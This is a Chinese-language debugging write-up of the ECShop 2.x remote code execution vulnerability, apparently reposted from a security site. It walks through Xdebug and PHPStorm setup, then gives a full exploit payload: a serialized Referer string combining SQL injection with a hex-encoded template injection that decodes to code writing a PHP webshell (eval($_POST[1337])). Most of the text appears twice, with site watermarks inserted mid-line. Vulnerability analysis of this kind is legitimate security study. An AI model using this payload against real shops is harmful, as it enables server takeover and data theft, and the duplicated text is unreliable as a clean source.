Ecshop2.x代码执行漏洞动态调试分析
一、背景介绍
号称国内最大的开源网店系统,可以直接远程写入webshell。
本文会通过动态分析来解析漏洞每个细节,关于漏洞原理可以看漏洞原理,讲的很详细,本文重点介绍动态分析审计的技巧和如何调试漏洞,关于漏洞本身也是一个很值得学习的漏洞,能构造出这个攻击链是需要对每个细节都有深刻的认识才能实现的。
二、动态调试环境搭建
自行下载安装phpstudy和phpstorm
首先确定php版本
然后修改配置文件
修改php.ini中如下
[XDebug]
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir ="C:\phpStudy\tmp\xdebug"
xdebug.trace_output_dir ="C:\phpStudy\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp"
xdebug.remote_host = "127.0.0.1"
zend_extension="C:\phpStudy\php53\ext\xdebug.dll"
xdebug.remote_port=9000
xdebug.idekey= PHPSTROM
设置php版本,一定要对应上
下面图片是默认的不用动
下面的修改key和端口如下
在这里配置根目录调试环境
这里就留一个Chrome浏览器
Chrome浏览器要安装插件JetBrains IDE Support 下载安装好了不用修改配置,这样就基本可以了。
三、漏洞动态调试分析
下面进行动态分析,动态分析的好处就是漏洞分析起来更加清晰。
下断点这里我们断到了漏洞起始点方便分析每一个细节,然后点击debug,
然后浏览器会打开
然后点击登录,会触发断点,可以看到停到了断点处
下面介绍使用的一些快捷键:
f7会跟进函数 ,
f8 步出也就是一行一行走,不进入函数,有些循环或者不想看的函数直接f8,
进入函数后想跳出去就用shift+f8
Ctrl+art加 点击想要看的函数就会进入
Alt +f7 会搜索谁调用了这个函数或者变量
笔者常用的就这些,掌握这些技能后就可以调试
这里HTTP_REFFER可控到赋值到$back_act
我们先用burp抓包测试下漏洞 ,先分析下payload
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
554fcae493e564ee0dc75bdf2ebf94caads 这串可以分解成两块,一个是554fcae493e564ee0dc75bdf2ebf94ca,一个是ads,ads是控制函数流程进入到insert_ads函数,554fcae493e564ee0dc75bdf2ebf94ca前面的这个就是个hash,后面会对它判断,判断后会把它去掉,没有它是进入不了攻击链的,后面再动态分析过程会介绍到。
后面的编码部分解开是这样
{$asd'];assert(base64_decode('file_put_contents('1.php',' eval($_POST[1337]); ?>')'));/
一、背景介绍
号称国内最大的开源网店系统,可以直接远程写入webshell。
本文会通过动态分析来解析漏洞每个细节,关于漏洞原理可以看漏洞原理,讲的很详细,本文重点介绍动态分析审计的技巧和如何调试漏洞,关于漏洞本身也是一个很值得学习的漏洞,能构造出这个攻击链是需要对每个细节都有深刻的认识才能实现的。
二、动态调试环境搭建
自行下载安装phpstudy和phpstorm
首先确定php版本
然后修改配置文件
修改php.ini中如下
[XDebug]
xdebug.profiler_append = 0
xdebug.profiler_enable = 1
xdebug.profiler_enable_trigger = 0
xdebug.profiler_output_dir ="C:\phpStudy\tmp\xdebug"
xdebug.trace_output_dir ="C:\phpStudy\tmp\xdebug"
xdebug.profiler_output_name = "cache.out.%t-%s"
xdebug.remote_enable = 1
xdebug.remote_handler = "dbgp" www.wnhack.com
xdebug.remote_host = "127.0.0.1"
zend_extension="C:\phpStudy\php53\ext\xdebug.dll"
xdebug.remote_port=9000
xdebug.idekey= PHPSTROM
设置php版本,一定要对应上
下面图片是默认的不用动
下面的修改key和端口如下
在这里配置根目录调试环境
内容来自无奈安全网
这里就留一个Chrome浏览器
Chrome浏览器要安装插件JetBrains IDE Support 下载安装好了不用修改配置,这样就基本可以了。
三、漏洞动态调试分析
下面进行动态分析,动态分析的好处就是漏洞分析起来更加清晰。
下断点这里我们断到了漏洞起始点方便分析每一个细节,然后点击debug,
然后浏览器会打开
然后点击登录,会触发断点,可以看到停到了断点处
下面介绍使用的一些快捷键:
f7会跟进函数 ,
f8 步出也就是一行一行走,不进入函数,有些循环或者不想看的函数直接f8,
进入函数后想跳出去就用shift+f8
Ctrl+art加 点击想要看的函数就会进入
Alt +f7 会搜索谁调用了这个函数或者变量
笔者常用的就这些,掌握这些技能后就可以调试
这里HTTP_REFFER可控到赋值到$back_act
我们先用burp抓包测试下漏洞 ,先分析下payload
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";} 内容来自无奈安全网
554fcae493e564ee0dc75bdf2ebf94caads 这串可以分解成两块,一个是554fcae493e564ee0dc75bdf2ebf94ca,一个是ads,ads是控制函数流程进入到insert_ads函数,554fcae493e564ee0dc75bdf2ebf94ca前面的这个就是个hash,后面会对它判断,判断后会把它去掉,没有它是进入不了攻击链的,后面再动态分析过程会介绍到。
后面的编码部分解开是这样
{$asd'];assert(base64_decode('file_put_contents('1.php',' eval($_POST[1337]); ?>')'));/。 (责任编辑:admin)